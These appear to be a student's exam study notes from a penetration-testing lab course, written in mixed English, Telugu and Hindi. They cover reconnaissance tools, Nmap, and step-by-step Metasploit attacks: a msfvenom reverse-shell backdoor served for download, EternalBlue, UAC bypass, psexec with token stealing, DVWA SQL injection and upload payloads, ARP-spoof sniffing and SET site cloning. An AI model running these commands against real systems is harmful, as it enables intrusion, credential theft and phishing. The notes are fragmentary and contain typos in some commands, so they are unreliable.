Whatweb

→ git clone < >
→ cd whatweb
→ sudo apt-get install ruby
→ gem install addressable
→ ./whatweb -v <website>

[Website invali tarvata nothan parameters vaaltaay and -v unte detailed ga separate ga vasthay]

Harvester

[ip address, subnets, subdomains } invan osthay ye aathe]

→ sudo apt install theharvester
→ theHarvester -d (domain) -l (limit) -b (source)
But these are not giving accurate results; try below

→ git clone < >
→ cd theharvester
→ pip install -r requirements.txt

[Same hogaya kuch diff nai hai output mai. Sab mai ey hi API keys not available and exception occured aisa aare.]

WPScan

[wordpress website ki only vasthad]

→ sudo apt-get install wpscan
→ wpscan --url <wordpress.com>
↳ This is working write in exam

Sublist3r

[subdomains are listed]

- git clone < >
- cd Sublist3r
- pip install -r requirements.txt
- Python3 sublist3r.py -d <domain name>

Metagoofil (Not working python print stmt)

→ git clone < >
→ cd metagoofil
→ python3 metagoofil.py -d <domain> -l 100 -n 5 -t pdf -o newflipkart

[Will be able to extract PDFs and info on files from website]

Spiderfoot

→ mkdir spiderfoot } <optional>
→ cd spiderfoot
→ git clone < >
→ cd spiderfoot
→ pip install -r requirements.txt
→ python3 sf.py -l 127.0.0.1:8080
→ given by dg.

Social Mapper

→ git clone < >
→ cd social-mapper
→ python3 socialmapper.py

[Use help for knowing all the parameters]

Display result in html file

[Installation Error]

Creepy

- pip install creepy
  [Not a username one]

Its a GEO-OSINT tool → Can't be worked on
Even GUI version is not working.

Recon-ng

→ sudo apt-get install recon-ng
→ recon-ng
→ marketplace search [for all modules check]
→ workspaces [To see all the workspaces]
→ marketplace install (copy module from the search)
→ modules load (module name)
→ options set SOURCE (domain name)
→ run

module → viewdns_reverse_whois

2. Nmap - sudo apt-get install nmap

- nmap <ip address/domain> [General]
- nmap -v <ip a/ domain> [More detailed]
- nmap ip1 ip2 [For multiple]
- nmap ip1-ipn [For a sequence of ~~to~~ IPs]
- nmap -sA ip [detect firewall settings]
- nmap -sL ip [Hostnames]
- nmap -A ip [Aggressive scan]

-O :- OS detection
-sC :- Script scanning
-traceroute

---

3. Backdoor using msfvenom

payload

mspvenom -p windows/meterpreter/reverse_tcp lhost= lport=4444 --arch x86 --platform windows -f exe -o backdoor.exe

sudo mv backdoor.exe /var/www/html

service apache2 start

Console Commands →

use exploit/multi/handler
set payload
set lhost <kali ip>
set lport 4444
exploit

On Windows :-
Open url http://kali ip>/backdoor.exe
Run the exe file
Meterpreter session is opened.

---

4 SMB Vulnerability (MS17-010)

msfconsole
search eternalblue
use [exploit] /windows/smb/ms17_010_eternalblue
set RHOST <target IP>
set payload &windows/x64/shell/reverse_tcp
exploit/run

(Port 445 on target must be open check nmap)

[Will Open a shell]

Convert normal shell to meterpreter shell

- Search shell_to_meterpreter
- use the obtained exploit
- Need to enter lhost and session details
- for sessions use sessions -l → will list all session
- set SESSION <number>
- run.

meterpreter session gets opened.

5. UAC bypass (User Account Control)

Version Choose check

→ Make a directory
→ Enter to that
→ msf~~-~~venom msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= lport= -f exe -o pwn.exe

→ python -m http.server.

* After this you can open pwn.exe on the other target machine

In other terminal,

msfconsole
use exploit/multi/handler
set ~~p~~payload windows/x64/meterpreter/reverse_tcp
set lhost < ip >
set lport <port no.>
run.

Meterpreter Session Opened

(2)
> getuid
> getsystem
> getsystem -h [When error cured above]
> getsystem -t 1

(3) > background
> search uac
> use exploit/windows/local/bypassuac
> show targets
> set target <no.>

> set session <no.>
> set payload w/ x64/m./re.tcp
> set lhost <ip>
> set lport 1234
> run

When next session opened

> get uid

Check if the access is privileged from the previous user

> getsystem
> getuid

Can observe the change in user now.

DVWA install

- Sudo apt-get install dvwa
- dvwa-start

SQL

// setup.php (go to setup if not logged in)

admin
password

Set Security level to low

> Enter 1
> URL mai change kar 1,2,3, ~~4~~ karke id ka jaga pe
> %' or '1'='1'
> %' or 0=0 union select null, version() #
> %' and 1=0 union select null, table_name from information_schema.tables #

Pssexec in Windows

→ set payload windows/meterpreter/bind_tcp
→ use exploit/windows/smb/psexec
→ set RHOST
→ Set SMBUser administrator
→ set SMBPass password
→ exploit
⇒ Meterpreter Session
> ps //process list
> Search for the process sqlserver.exe and note its pid.
> steal_token (pid)

Linux Privilege Escalations

Target System - Ubuntu 16.04 VM

- Scan for exploits
- msfconsole
- use post/multi/recon/local_exploit_suggester
- show options
- run

DVWA file upload

File
<html>
< body>
<script> alert ("The sys hacked") </script>
</body>
</html>

Upload
hack.html.jpg

Intercept and remove jpg

Check index for the file uploaded

Bettercap

- sudo apt-get install bettercap
- bettercap
- help // to show all modules
- net.probe on
- net.recon on
- set arp.spoof.fullduplex true
- set arp.spoof.targets <windows ip>
- arp.spoof on
- net.sniff on
- // On Windows, type arp -a

  You could see two same physical addresses.

When Sniffing, you also ~~get~~ could get all the other details while entering login details

---

SET toolkit

- Connect kali and windows
- netdiscover -r 192.168.50.0/24 → Your ip.
- seotoolkit
- 1. Social Engineering Attacks.
- 2. Website Attack Vectors
- 5. Web Jacking Attack Method
  2. Site Cloner
- Paste URL in seo toolkit terminal

  After cloned, link is sent.